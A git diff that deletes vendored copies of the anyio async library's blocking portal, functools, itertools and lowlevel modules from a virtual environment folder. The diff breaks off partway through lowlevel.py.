Future[T_Retval]: ... - - @overload - def start_task_soon( - self, - func: Callable[[Unpack[PosArgsT]], T_Retval], - *args: Unpack[PosArgsT], - name: object = None, - ) -> Future[T_Retval]: ... - - def start_task_soon( - self, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval] | T_Retval], - *args: Unpack[PosArgsT], - name: object = None, - ) -> Future[T_Retval]: - """ - Start a task in the portal's task group. - - The task will be run inside a cancel scope which can be cancelled by cancelling - the returned future. - - :param func: the target function - :param args: positional arguments passed to ``func`` - :param name: name of the task (will be coerced to a string if not ``None``) - :return: a future that resolves with the return value of the callable if the - task completes successfully, or with the exception raised in the task - :raises RuntimeError: if the portal is not running or if this method is called - from within the event loop thread - :rtype: concurrent.futures.Future[T_Retval] - - .. versionadded:: 3.0 - - """ - self._check_running() - f: Future[T_Retval] = Future() - self._spawn_task_from_thread(func, args, {}, name, f) - return f - - def start_task( - self, - func: Callable[..., Awaitable[T_Retval]], - *args: object, - name: object = None, - ) -> tuple[Future[T_Retval], Any]: - """ - Start a task in the portal's task group and wait until it signals for readiness. - - This method works the same way as :meth:`.abc.TaskGroup.start`. - - :param func: the target function - :param args: positional arguments passed to ``func`` - :param name: name of the task (will be coerced to a string if not ``None``) - :return: a tuple of (future, task_status_value) where the ``task_status_value`` - is the value passed to ``task_status.started()`` from within the target - function - :rtype: tuple[concurrent.futures.Future[T_Retval], Any] - - .. versionadded:: 3.0 - - """ - - def task_done(future: Future[T_Retval]) -> None: - if not task_status_future.done(): - if future.cancelled(): - task_status_future.cancel() - elif future.exception(): - task_status_future.set_exception(future.exception()) - else: - exc = RuntimeError( - "Task exited without calling task_status.started()" - ) - task_status_future.set_exception(exc) - - self._check_running() - task_status_future: Future = Future() - task_status = _BlockingPortalTaskStatus(task_status_future) - f: Future = Future() - f.add_done_callback(task_done) - self._spawn_task_from_thread(func, args, {"task_status": task_status}, name, f) - return f, task_status_future.result() - - def wrap_async_context_manager( - self, cm: AbstractAsyncContextManager[T_co] - ) -> AbstractContextManager[T_co]: - """ - Wrap an async context manager as a synchronous context manager via this portal. - - Spawns a task that will call both ``__aenter__()`` and ``__aexit__()``, stopping - in the middle until the synchronous context manager exits. - - :param cm: an asynchronous context manager - :return: a synchronous context manager - - .. versionadded:: 2.1 - - """ - return _BlockingAsyncContextManager(cm, self) - - -@dataclass -class BlockingPortalProvider: - """ - A manager for a blocking portal. Used as a context manager. The first thread to - enter this context manager causes a blocking portal to be started with the specific - parameters, and the last thread to exit causes the portal to be shut down. Thus, - there will be exactly one blocking portal running in this context as long as at - least one thread has entered this context manager. - - The parameters are the same as for :func:`~anyio.run`. - - :param backend: name of the backend - :param backend_options: backend options - - .. versionadded:: 4.4 - """ - - backend: str = "asyncio" - backend_options: dict[str, Any] | None = None - _lock: Lock = field(init=False, default_factory=Lock) - _leases: int = field(init=False, default=0) - _portal: BlockingPortal = field(init=False) - _portal_cm: AbstractContextManager[BlockingPortal] | None = field( - init=False, default=None - ) - - def __enter__(self) -> BlockingPortal: - with self._lock: - if self._portal_cm is None: - self._portal_cm = start_blocking_portal( - self.backend, self.backend_options - ) - self._portal = self._portal_cm.__enter__() - - self._leases += 1 - return self._portal - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - portal_cm: AbstractContextManager[BlockingPortal] | None = None - with self._lock: - assert self._portal_cm - assert self._leases > 0 - self._leases -= 1 - if not self._leases: - portal_cm = self._portal_cm - self._portal_cm = None - del self._portal - - if portal_cm: - portal_cm.__exit__(None, None, None) - - -@contextmanager -def start_blocking_portal( - backend: str = "asyncio", - backend_options: dict[str, Any] | None = None, - *, - name: str | None = None, -) -> Generator[BlockingPortal, Any, None]: - """ - Start a new event loop in a new thread and run a blocking portal in its main task. - - The parameters are the same as for :func:`~anyio.run`. - - :param backend: name of the backend - :param backend_options: backend options - :param name: name of the thread - :return: a context manager that yields a blocking portal - - .. versionchanged:: 3.0 - Usage as a context manager is now required. - - """ - - async def run_portal() -> None: - async with BlockingPortal() as portal_: - if name is None: - current_thread().name = f"{backend}-portal-{id(portal_):x}" - - future.set_result(portal_) - await portal_.sleep_until_stopped() - - def run_blocking_portal() -> None: - if future.set_running_or_notify_cancel(): - try: - run_eventloop( - run_portal, backend=backend, backend_options=backend_options - ) - except BaseException as exc: - if not future.done(): - future.set_exception(exc) - - future: Future[BlockingPortal] = Future() - thread = Thread(target=run_blocking_portal, daemon=True, name=name) - thread.start() - try: - cancel_remaining_tasks = False - portal = future.result() - try: - yield portal - except BaseException: - cancel_remaining_tasks = True - raise - finally: - try: - portal.call(portal.stop, cancel_remaining_tasks) - except RuntimeError: - pass - finally: - thread.join() - - -def check_cancelled() -> None: - """ - Check if the cancel scope of the host task's running the current worker thread has - been cancelled. - - If the host task's current cancel scope has indeed been cancelled, the - backend-specific cancellation exception will be raised. - - :raises RuntimeError: if the current thread was not spawned by - :func:`.to_thread.run_sync` - - """ - try: - token: EventLoopToken = threadlocals.current_token - except AttributeError: - raise NoEventLoopError( - "This function can only be called inside an AnyIO worker thread" - ) from None - - token.backend_class.check_cancelled() diff --git a/venv/Lib/site-packages/anyio/functools.py b/venv/Lib/site-packages/anyio/functools.py deleted file mode 100644 index b0bdfb4585efc4e4799388547668fba86fb5c687..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/functools.py +++ /dev/null @@ -1,400 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "AsyncCacheInfo", - "AsyncCacheParameters", - "AsyncLRUCacheWrapper", - "cache", - "lru_cache", - "reduce", -) - -import functools -from collections import OrderedDict -from collections.abc import ( - AsyncIterable, - Awaitable, - Callable, - Coroutine, - Hashable, - Iterable, -) -from functools import update_wrapper -from inspect import iscoroutinefunction -from typing import ( - Any, - Generic, - NamedTuple, - ParamSpec, - TypedDict, - TypeVar, - cast, - final, - overload, -) -from weakref import WeakKeyDictionary - -from ._core._eventloop import current_time -from ._core._synchronization import Lock -from .lowlevel import RunVar, checkpoint - -T = TypeVar("T") -S = TypeVar("S") -P = ParamSpec("P") -lru_cache_items: RunVar[ - WeakKeyDictionary[ - AsyncLRUCacheWrapper[Any, Any], - OrderedDict[ - Hashable, - tuple[_InitialMissingType, Lock, float | None] - | tuple[Any, None, float | None], - ], - ] -] = RunVar("lru_cache_items") - - -class _InitialMissingType: - pass - - -initial_missing: _InitialMissingType = _InitialMissingType() - - -class AsyncCacheInfo(NamedTuple): - hits: int - misses: int - maxsize: int | None - currsize: int - ttl: int | None - - -class AsyncCacheParameters(TypedDict): - maxsize: int | None - typed: bool - always_checkpoint: bool - ttl: int | None - - -class _LRUMethodWrapper(Generic[T]): - def __init__(self, wrapper: AsyncLRUCacheWrapper[..., T], instance: object): - self.__wrapper = wrapper - self.__instance = instance - - def cache_info(self) -> AsyncCacheInfo: - return self.__wrapper.cache_info() - - def cache_parameters(self) -> AsyncCacheParameters: - return self.__wrapper.cache_parameters() - - def cache_clear(self) -> None: - self.__wrapper.cache_clear() - - async def __call__(self, *args: Any, **kwargs: Any) -> T: - if self.__instance is None: - return await self.__wrapper(*args, **kwargs) - - return await self.__wrapper(self.__instance, *args, **kwargs) - - -@final -class AsyncLRUCacheWrapper(Generic[P, T]): - def __init__( - self, - func: Callable[P, Awaitable[T]], - maxsize: int | None, - typed: bool, - always_checkpoint: bool, - ttl: int | None, - ): - self.__wrapped__ = func - self._hits: int = 0 - self._misses: int = 0 - self._maxsize = max(maxsize, 0) if maxsize is not None else None - self._currsize: int = 0 - self._typed = typed - self._always_checkpoint = always_checkpoint - self._ttl = ttl - update_wrapper(self, func) - - def cache_info(self) -> AsyncCacheInfo: - return AsyncCacheInfo( - self._hits, self._misses, self._maxsize, self._currsize, self._ttl - ) - - def cache_parameters(self) -> AsyncCacheParameters: - return { - "maxsize": self._maxsize, - "typed": self._typed, - "always_checkpoint": self._always_checkpoint, - "ttl": self._ttl, - } - - def cache_clear(self) -> None: - if cache := lru_cache_items.get(None): - cache.pop(self, None) - self._hits = self._misses = self._currsize = 0 - - async def __call__(self, *args: P.args, **kwargs: P.kwargs) -> T: - # Easy case first: if maxsize == 0, no caching is done - if self._maxsize == 0: - value = await self.__wrapped__(*args, **kwargs) - self._misses += 1 - return value - - # The key is constructed as a flat tuple to avoid memory overhead - key: tuple[Any, ...] = args - if kwargs: - # initial_missing is used as a separator - key += (initial_missing,) + sum(kwargs.items(), ()) - - if self._typed: - key += tuple(type(arg) for arg in args) - if kwargs: - key += (initial_missing,) + tuple(type(val) for val in kwargs.values()) - - try: - cache = lru_cache_items.get() - except LookupError: - cache = WeakKeyDictionary() - lru_cache_items.set(cache) - - try: - cache_entry = cache[self] - except KeyError: - cache_entry = cache[self] = OrderedDict() - - cached_value: T | _InitialMissingType - try: - cached_value, lock, expires_at = cache_entry[key] - except KeyError: - # We're the first task to call this function - cached_value, lock, expires_at = ( - initial_missing, - Lock(fast_acquire=not self._always_checkpoint), - None, - ) - cache_entry[key] = cached_value, lock, expires_at - - if lock is None: - if expires_at is not None and current_time() >= expires_at: - self._currsize -= 1 - cached_value, lock, expires_at = ( - initial_missing, - Lock(fast_acquire=not self._always_checkpoint), - None, - ) - cache_entry[key] = cached_value, lock, expires_at - else: - # The value was already cached - self._hits += 1 - cache_entry.move_to_end(key) - if self._always_checkpoint: - await checkpoint() - - return cast(T, cached_value) - - async with lock: - # Check if another task filled the cache while we acquired the lock - if (cached_value := cache_entry[key][0]) is initial_missing: - self._misses += 1 - if self._maxsize is not None and self._currsize >= self._maxsize: - cache_entry.popitem(last=False) - else: - self._currsize += 1 - - value = await self.__wrapped__(*args, **kwargs) - expires_at = ( - current_time() + self._ttl if self._ttl is not None else None - ) - cache_entry[key] = value, None, expires_at - else: - # Another task filled the cache while we were waiting for the lock - self._hits += 1 - cache_entry.move_to_end(key) - value = cast(T, cached_value) - - return value - - def __get__( - self, instance: object, owner: type | None = None - ) -> _LRUMethodWrapper[T]: - wrapper = _LRUMethodWrapper(self, instance) - update_wrapper(wrapper, self.__wrapped__) - return wrapper - - -class _LRUCacheWrapper: - def __init__( - self, maxsize: int | None, typed: bool, always_checkpoint: bool, ttl: int | None - ): - self._maxsize = maxsize - self._typed = typed - self._always_checkpoint = always_checkpoint - self._ttl = ttl - - @overload - def __call__( # type: ignore[overload-overlap] - self, func: Callable[P, Coroutine[Any, Any, T]], / - ) -> AsyncLRUCacheWrapper[P, T]: ... - - @overload - def __call__( - self, func: Callable[..., T], / - ) -> functools._lru_cache_wrapper[T]: ... - - def __call__( - self, f: Callable[P, Coroutine[Any, Any, T]] | Callable[..., T], / - ) -> AsyncLRUCacheWrapper[P, T] | functools._lru_cache_wrapper[T]: - if iscoroutinefunction(f): - return AsyncLRUCacheWrapper( - f, self._maxsize, self._typed, self._always_checkpoint, self._ttl - ) - - return functools.lru_cache(maxsize=self._maxsize, typed=self._typed)(f) # type: ignore[arg-type] - - -@overload -def cache( # type: ignore[overload-overlap] - func: Callable[P, Coroutine[Any, Any, T]], / -) -> AsyncLRUCacheWrapper[P, T]: ... - - -@overload -def cache(func: Callable[..., T], /) -> functools._lru_cache_wrapper[T]: ... - - -def cache(func: Callable[..., Any] | Callable[P, Coroutine[Any, Any, Any]], /) -> Any: - """ - A convenient shortcut for :func:`lru_cache` with ``maxsize=None``. - - This is the asynchronous equivalent to :func:`functools.cache`. - - """ - return lru_cache(maxsize=None)(func) - - -@overload -def lru_cache( - *, - maxsize: int | None = ..., - typed: bool = ..., - always_checkpoint: bool = ..., - ttl: int | None = ..., -) -> _LRUCacheWrapper: ... - - -@overload -def lru_cache( # type: ignore[overload-overlap] - func: Callable[P, Coroutine[Any, Any, T]], / -) -> AsyncLRUCacheWrapper[P, T]: ... - - -@overload -def lru_cache(func: Callable[..., T], /) -> functools._lru_cache_wrapper[T]: ... - - -def lru_cache( - func: Callable[..., Coroutine[Any, Any, Any]] | Callable[..., Any] | None = None, - /, - *, - maxsize: int | None = 128, - typed: bool = False, - always_checkpoint: bool = False, - ttl: int | None = None, -) -> Any: - """ - An asynchronous version of :func:`functools.lru_cache`. - - If a synchronous function is passed, the standard library - :func:`functools.lru_cache` is applied instead. - - :param always_checkpoint: if ``True``, every call to the cached function will be - guaranteed to yield control to the event loop at least once - :param ttl: time in seconds after which to invalidate cache entries - - .. note:: Caches and locks are managed on a per-event loop basis. - - """ - if func is None: - return _LRUCacheWrapper(maxsize, typed, always_checkpoint, ttl) - - if not callable(func): - raise TypeError("the first argument must be callable") - - return _LRUCacheWrapper(maxsize, typed, always_checkpoint, ttl)(func) - - -@overload -async def reduce( - function: Callable[[T, S], Awaitable[T]], - iterable: Iterable[S] | AsyncIterable[S], - /, - initial: T, -) -> T: ... - - -@overload -async def reduce( - function: Callable[[T, T], Awaitable[T]], - iterable: Iterable[T] | AsyncIterable[T], - /, -) -> T: ... - - -async def reduce( # type: ignore[misc] - function: Callable[[T, T], Awaitable[T]] | Callable[[T, S], Awaitable[T]], - iterable: Iterable[T] | Iterable[S] | AsyncIterable[T] | AsyncIterable[S], - /, - initial: T | _InitialMissingType = initial_missing, -) -> T: - """ - Asynchronous version of :func:`functools.reduce`. - - :param function: a coroutine function that takes two arguments: the accumulated - value and the next element from the iterable - :param iterable: an iterable or async iterable - :param initial: the initial value (if missing, the first element of the iterable is - used as the initial value) - - """ - element: Any - function_called = False - if isinstance(iterable, AsyncIterable): - async_it = iterable.__aiter__() - if initial is initial_missing: - try: - value = cast(T, await async_it.__anext__()) - except StopAsyncIteration: - raise TypeError( - "reduce() of empty sequence with no initial value" - ) from None - else: - value = cast(T, initial) - - async for element in async_it: - value = await function(value, element) - function_called = True - elif isinstance(iterable, Iterable): - it = iter(iterable) - if initial is initial_missing: - try: - value = cast(T, next(it)) - except StopIteration: - raise TypeError( - "reduce() of empty sequence with no initial value" - ) from None - else: - value = cast(T, initial) - - for element in it: - value = await function(value, element) - function_called = True - else: - raise TypeError("reduce() argument 2 must be an iterable or async iterable") - - # Make sure there is at least one checkpoint, even if an empty iterable and an - # initial value were given - if not function_called: - await checkpoint() - - return value diff --git a/venv/Lib/site-packages/anyio/itertools.py b/venv/Lib/site-packages/anyio/itertools.py deleted file mode 100644 index 7e5248e4b8f99556cdbb98b024a188d65cdfce83..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/itertools.py +++ /dev/null @@ -1,626 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "accumulate", - "batched", - "Chain", - "combinations", - "combinations_with_replacement", - "compress", - "count", - "cycle", - "dropwhile", - "filterfalse", - "groupby", - "islice", - "pairwise", - "permutations", - "product", - "repeat", - "starmap", - "tee", - "takewhile", - "zip_longest", -) - -import itertools -import operator -import sys -from collections.abc import ( - AsyncGenerator, - AsyncIterable, - AsyncIterator, - Awaitable, - Callable, - Iterable, - Iterator, -) -from dataclasses import dataclass, field -from typing import Any, Generic, TypeVar, cast, overload - -from ._core._synchronization import Lock -from ._core._tasks import CancelScope -from .lowlevel import cancel_shielded_checkpoint, checkpoint, checkpoint_if_cancelled - -T = TypeVar("T") -R = TypeVar("R") -_tee_end = object() - - -@dataclass(eq=False) -class _IterableAsyncIterator(AsyncIterator[T]): - iterator: Iterator[T] - - async def __anext__(self) -> T: - await checkpoint_if_cancelled() - try: - result = next(self.iterator) - except StopIteration: - await cancel_shielded_checkpoint() - raise StopAsyncIteration from None - - await cancel_shielded_checkpoint() - return result - - -def _iterate(iterable: Iterable[T] | AsyncIterable[T]) -> AsyncIterator[T]: - if isinstance(iterable, AsyncIterator): - return iterable - - if isinstance(iterable, AsyncIterable): - return iterable.__aiter__() - - return _IterableAsyncIterator(iter(iterable)) - - -@dataclass(eq=False) -class _TeeLink(Generic[T]): - value: object | None = None - next: _TeeLink[T] | None = None - filled: bool = False - - -@dataclass(eq=False) -class _TeeState(Generic[T]): - iterator: AsyncIterator[T] - lock: Lock = field(default_factory=Lock) - - async def fill(self, link: _TeeLink[T]) -> bool: - if link.filled: - return False - - async with self.lock: - if link.filled: - return True - - link.value = await anext(self.iterator, _tee_end) - if link.value is not _tee_end: - link.next = _TeeLink() - - link.filled = True - return True - - -class _TeeAsyncIterator(AsyncIterator[T]): - _state: _TeeState[T] - _link: _TeeLink[T] - _element_yielded: bool - - def __init__( - self, iterable: Iterable[T] | AsyncIterable[T] | _TeeAsyncIterator[T] - ) -> None: - if isinstance(iterable, _TeeAsyncIterator): - self._state = iterable._state - self._link = iterable._link - else: - self._state = _TeeState(_iterate(iterable)) - self._link = _TeeLink() - - self._element_yielded = False - - async def __anext__(self) -> T: - had_yieldpoint = await self._state.fill(self._link) - if self._link.value is _tee_end: - if not self._element_yielded: - await checkpoint() - - raise StopAsyncIteration - - if not had_yieldpoint: - await checkpoint_if_cancelled() - - self._element_yielded = True - value = cast(T, self._link.value) - next_link = self._link.next - assert next_link is not None - self._link = next_link - if not had_yieldpoint: - await cancel_shielded_checkpoint() - - return value - - -async def _operator_add(x: T, y: T) -> T: - return operator.add(x, y) - - -async def accumulate( - iterable: Iterable[T] | AsyncIterable[T], - function: Callable[[T, T], Awaitable[T]] = _operator_add, - *, - initial: T | None = None, -) -> AsyncGenerator[T, None]: - iterator = _iterate(iterable) - if initial is None: - try: - total = await anext(iterator) - except StopAsyncIteration: - await checkpoint() - return - else: - await checkpoint_if_cancelled() - total = initial - await cancel_shielded_checkpoint() - - yield total - - async for element in iterator: - total = await function(total, element) - yield total - - -async def batched( - iterable: Iterable[T] | AsyncIterable[T], n: int, *, strict: bool = False -) -> AsyncGenerator[tuple[T, ...], None]: - if n < 1: - raise ValueError("n must be at least one") - - iterator = _iterate(iterable) - - while True: - batch: list[T] = [] - for _ in range(n): - try: - batch.append(await anext(iterator)) - except StopAsyncIteration: - if not batch: - await checkpoint() - return - if strict: - raise ValueError("batched(): incomplete batch") from None - - yield tuple(batch) - return - - yield tuple(batch) - - -class Chain: - def __call__( - self, *iterables: Iterable[T] | AsyncIterable[T] - ) -> AsyncGenerator[T, None]: - return self.from_iterable(iterables) - - async def from_iterable( - self, - iterables: ( - Iterable[Iterable[T] | AsyncIterable[T]] - | AsyncIterable[Iterable[T] | AsyncIterable[T]] - ), - ) -> AsyncGenerator[T, None]: - element_yielded = False - outer_iter = _iterate(iterables) - - try: - async for iterable in outer_iter: - async for element in _iterate(iterable): - element_yielded = True - yield element - finally: - aclose = getattr(outer_iter, "aclose", None) - if aclose is not None: - with CancelScope(shield=True): - await aclose() - - if not element_yielded: - await checkpoint() - - -chain: Chain = Chain() - - -async def combinations( - iterable: Iterable[T] | AsyncIterable[T], r: int -) -> AsyncGenerator[tuple[T, ...], None]: - pool: list[T] = [element async for element in _iterate(iterable)] - async for combination in _iterate(itertools.combinations(pool, r)): - yield combination - - -async def combinations_with_replacement( - iterable: Iterable[T] | AsyncIterable[T], r: int -) -> AsyncGenerator[tuple[T, ...], None]: - pool: list[T] = [element async for element in _iterate(iterable)] - async for combination in _iterate(itertools.combinations_with_replacement(pool, r)): - yield combination - - -async def compress( - data: Iterable[T] | AsyncIterable[T], - selectors: Iterable[object] | AsyncIterable[object], -) -> AsyncGenerator[T, None]: - data_iterator = _iterate(data) - selector_iterator = _iterate(selectors) - element_yielded = False - - while True: - try: - datum = await anext(data_iterator) - selector = await anext(selector_iterator) - except StopAsyncIteration: - if not element_yielded: - await checkpoint() - - return - - if selector: - element_yielded = True - yield datum - - -async def count(start: int = 0, step: int = 1) -> AsyncGenerator[int, None]: - n = start - while True: - await checkpoint_if_cancelled() - value = n - n += step - await cancel_shielded_checkpoint() - yield value - - -async def cycle( - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[T, None]: - saved: list[T] = [] - async for element in _iterate(iterable): - saved.append(element) - yield element - - if not saved: - await checkpoint() - return - - while True: - for element in saved: - await checkpoint() - yield element - - -async def dropwhile( - predicate: Callable[[T], Awaitable[object]], - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[T, None]: - element_yielded = False - dropping = True - - async for element in _iterate(iterable): - if dropping and await predicate(element): - continue - - dropping = False - element_yielded = True - yield element - - if not element_yielded: - await checkpoint() - - -async def filterfalse( - predicate: Callable[[T], Awaitable[object]], - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[T, None]: - element_yielded = False - - async for element in _iterate(iterable): - if not await predicate(element): - element_yielded = True - yield element - - if not element_yielded: - await checkpoint() - - -@overload -def groupby( - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[tuple[T, list[T]], None]: ... - - -@overload -def groupby( - iterable: Iterable[T] | AsyncIterable[T], - key: Callable[[T], Awaitable[R]], -) -> AsyncGenerator[tuple[R, list[T]], None]: ... - - -async def groupby( - iterable: Iterable[T] | AsyncIterable[T], - key: Callable[[T], Awaitable[object]] | None = None, -) -> AsyncGenerator[tuple[object, list[T]], None]: - iterator = _iterate(iterable) - try: - element = await anext(iterator) - except StopAsyncIteration: - await checkpoint() - return - - group_key = element if key is None else await key(element) - values = [element] - - async for element in iterator: - next_key = element if key is None else await key(element) - if next_key != group_key: - completed_group = group_key, values - group_key = next_key - values = [element] - yield completed_group - else: - values.append(element) - - yield group_key, values - - -@overload -def islice( - iterable: Iterable[T] | AsyncIterable[T], - stop: int | None, - /, -) -> AsyncGenerator[T, None]: ... - - -@overload -def islice( - iterable: Iterable[T] | AsyncIterable[T], - start: int | None, - stop: int | None, - step: int | None = 1, - /, -) -> AsyncGenerator[T, None]: ... - - -async def islice( - iterable: Iterable[T] | AsyncIterable[T], - *args: int | None, -) -> AsyncGenerator[T, None]: - if not args: - raise TypeError("islice expected at least 2 arguments, got 1") - if len(args) > 3: - raise TypeError(f"islice expected at most 4 arguments, got {len(args) + 1}") - - slice_args = slice(*args) - - start_message = ( - "Indices for islice() must be None or an integer: 0 <= x <= sys.maxsize." - ) - stop_message = ( - "Stop argument for islice() must be None or an integer: 0 <= x <= sys.maxsize." - ) - step_message = "Step for islice() must be a positive integer or None." - - def normalize_index(value: object, message: str) -> int: - try: - index = operator.index(cast(Any, value)) - except TypeError: - raise ValueError(message) from None - - if index < 0 or index > sys.maxsize: - raise ValueError(message) - - return index - - start = ( - 0 - if slice_args.start is None - else normalize_index(slice_args.start, start_message) - ) - stop = ( - None - if slice_args.stop is None - else normalize_index(slice_args.stop, stop_message) - ) - step = ( - 1 if slice_args.step is None else normalize_index(slice_args.step, step_message) - ) - - if step <= 0: - raise ValueError(step_message) - - if stop == 0 or start == stop: - await checkpoint() - return - - iterator = _iterate(iterable) - index = 0 - element_yielded = False - - while stop is None or index < stop: - try: - element = await anext(iterator) - except StopAsyncIteration: - if not element_yielded: - await checkpoint() - - return - - if index >= start and (index - start) % step == 0: - index += 1 - element_yielded = True - yield element - else: - index += 1 - - if not element_yielded: - await checkpoint() - - -async def pairwise( - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[tuple[T, T], None]: - iterator = _iterate(iterable) - try: - previous = await anext(iterator) - except StopAsyncIteration: - await checkpoint() - return - - element_yielded = False - async for element in iterator: - element_yielded = True - pair = (previous, element) - previous = element - yield pair - - if not element_yielded: - await checkpoint() - - -async def permutations( - iterable: Iterable[T] | AsyncIterable[T], r: int | None = None -) -> AsyncGenerator[tuple[T, ...], None]: - pool: list[T] = [element async for element in _iterate(iterable)] - n = len(pool) - if r is None: - r = n - elif not isinstance(r, int): - raise TypeError("Expected int as r") - elif r < 0: - raise ValueError("r must be non-negative") - - async for permutation in _iterate(itertools.permutations(pool, r)): - yield permutation - - -async def product( - *iterables: Iterable[T] | AsyncIterable[T], repeat: int = 1 -) -> AsyncGenerator[tuple[T, ...], None]: - repeat = operator.index(repeat) - if repeat < 0: - raise ValueError("repeat argument cannot be negative") - - pools: list[tuple[T, ...]] = [] - for iterable in iterables: - pool: list[T] = [element async for element in _iterate(iterable)] - pools.append(tuple(pool)) - - async for value in _iterate(itertools.product(*pools, repeat=repeat)): - yield value - - -async def repeat(element: T, times: int | None = None) -> AsyncGenerator[T, None]: - if times is None: - while True: - await checkpoint() - yield element - - remaining = operator.index(cast(Any, times)) - if remaining <= 0: - await checkpoint() - return - - while remaining > 0: - await checkpoint_if_cancelled() - remaining -= 1 - await cancel_shielded_checkpoint() - yield element - - -async def starmap( - function: Callable[..., Awaitable[R]], - iterable: ( - Iterable[Iterable[object] | AsyncIterable[object]] - | AsyncIterable[Iterable[object] | AsyncIterable[object]] - ), -) -> AsyncGenerator[R, None]: - result_yielded = False - - async for args_iterable in _iterate(iterable): - args = [element async for element in _iterate(args_iterable)] - result_yielded = True - yield await function(*args) - - if not result_yielded: - await checkpoint() - - -def tee( - iterable: Iterable[T] | AsyncIterable[T], n: int = 2 -) -> tuple[AsyncIterator[T], ...]: - n = operator.index(cast(Any, n)) - if n < 0: - raise ValueError("n must be >= 0") - if n == 0: - return () - - iterator = _TeeAsyncIterator(iterable) - iterators: list[AsyncIterator[T]] = [iterator] - iterators.extend(_TeeAsyncIterator(iterator) for _ in range(n - 1)) - return tuple(iterators) - - -async def takewhile( - predicate: Callable[[T], Awaitable[object]], - iterable: Iterable[T] | AsyncIterable[T], -) -> AsyncGenerator[T, None]: - element_yielded = False - - async for element in _iterate(iterable): - if not await predicate(element): - if not element_yielded: - await checkpoint() - - return - - element_yielded = True - yield element - - if not element_yielded: - await checkpoint() - - -async def zip_longest( - *iterables: Iterable[object] | AsyncIterable[object], - fillvalue: object = None, -) -> AsyncGenerator[tuple[object, ...], None]: - iterators = [_iterate(iterable) for iterable in iterables] - num_active = len(iterators) - if not num_active: - await checkpoint() - return - - active = [True] * num_active - tuple_yielded = False - - while True: - values: list[object] = [] - for index, iterator in enumerate(iterators): - if not active[index]: - values.append(fillvalue) - continue - - try: - value = await anext(iterator) - except StopAsyncIteration: - active[index] = False - num_active -= 1 - if not num_active: - if not tuple_yielded: - await checkpoint() - - return - - value = fillvalue - - values.append(value) - - tuple_yielded = True - yield tuple(values) diff --git a/venv/Lib/site-packages/anyio/lowlevel.py b/venv/Lib/site-packages/anyio/lowlevel.py deleted file mode 100644 index ee111ecc8f22cf54e95bc7df18844e131730e572..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/lowlevel.py +++ /dev/null @@ -1,228 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "EventLoopToken", - "RunvarToken", - "RunVar", - "checkpoint", - "checkpoint_if_cancelled", - "cancel_shielded_checkpoint", - "current_token", -) - -import enum -from dataclasses import dataclass -from types import TracebackType -from typing import TYPE_CHECKING, Any, Generic, Literal, TypeVar, final, overload -from weakref import WeakKeyDictionary - -from ._core._eventloop import get_async_backend - -if TYPE_CHECKING: - from .abc import AsyncBackend - -T = TypeVar("T") -D = TypeVar("D") - - -async def checkpoint() -> None: - """ - Check for cancellation and allow the scheduler to switch to another task. - - Equivalent to (but more efficient than):: - - await checkpoint_if_cancelled() - await cancel_shielded_checkpoint() - - .. versionadded:: 3.0 - - """ - await get_async_backend().checkpoint() - - -async def checkpoint_if_cancelled() -> None: - """ - Enter a checkpoint if the enclosing cancel scope has been cancelled. - - This does not allow the scheduler to switch to a different task. - - .. versionadded:: 3.0 - - """ - await get_async_backend().checkpoint_if_cancelled() - - -async def cancel_shielded_checkpoint() -> None: - """ - Allow the scheduler to switch to another task but without checking for cancellation. - - Equivalent to (but potentially more efficient than):: - - with CancelScope(shield=True): - await checkpoint() - - .. versionadded:: 3.0 - - """ - await get_async_backend().cancel_shielded_checkpoint() - - -@final -@dataclass(frozen=True, repr=False) -class EventLoopToken: - """ - An opaque object that holds a reference to an event loop. - - .. versionadded:: 4.11.0 - """ - - backend_class: type[AsyncBackend] - native_token: object - - -def current_token() -> EventLoopToken: - """ - Return a token object that can be used to call code in the current event loop from - another thread. - - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - .. versionadded:: 4.11.0 - - """ - backend_class = get_async_backend() - raw_token = backend_class.current_token() - return EventLoopToken(backend_class, raw_token) - - -_run_vars: WeakKeyDictionary[object, dict[RunVar[Any], Any]] = WeakKeyDictionary() - - -class _NoValueSet(enum.Enum): - NO_VALUE_SET = enum.auto() - - -class RunvarToken(Generic[T]): - """ - A token that can be used to restore a :class:`RunVar` to its previous value. - - Returned by :meth:`RunVar.set`. Can be used as a context manager to automatically - reset the variable on exit, or passed directly to :meth:`RunVar.reset`. - """ - - __slots__ = "_var", "_value", "_redeemed" - - def __init__(self, var: RunVar[T], value: T | Literal[_NoValueSet.NO_VALUE_SET]): - self._var = var - self._value: T | Literal[_NoValueSet.NO_VALUE_SET] = value - self._redeemed = False - - def __enter__(self) -> RunvarToken[T]: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self._var.reset(self) - - -class RunVar(Generic[T]): - """ - Like a :class:`~contextvars.ContextVar`, except scoped to the running event loop. - - Can be used as a context manager, Just like :class:`~contextvars.ContextVar`, that - will reset the variable to its previous value when the context block is exited. - """ - - __slots__ = "_name", "_default" - - NO_VALUE_SET: Literal[_NoValueSet.NO_VALUE_SET] = _NoValueSet.NO_VALUE_SET - - def __init__( - self, name: str, default: T | Literal[_NoValueSet.NO_VALUE_SET] = NO_VALUE_SET - ): - self._name = name - self._default = default - - @property - def _current_vars(self) -> dict[RunVar[T], T]: - native_token = current_token().native_token - try: - return _run_vars[native_token] - except KeyError: - run_vars = _run_vars[native_token] = {} - return run_vars - - @overload - def get(self, default: D) -> T | D: ... - - @overload - def get(self) -> T: ... - - def get( - self, default: D | Literal[_NoValueSet.NO_VALUE_SET] = NO_VALUE_SET - ) -> T | D: - """ - Return the current value of this run variable. - - :param default: a fallback value to return if no value has been set - :return: the current value, the provided default, or the variable's own default - 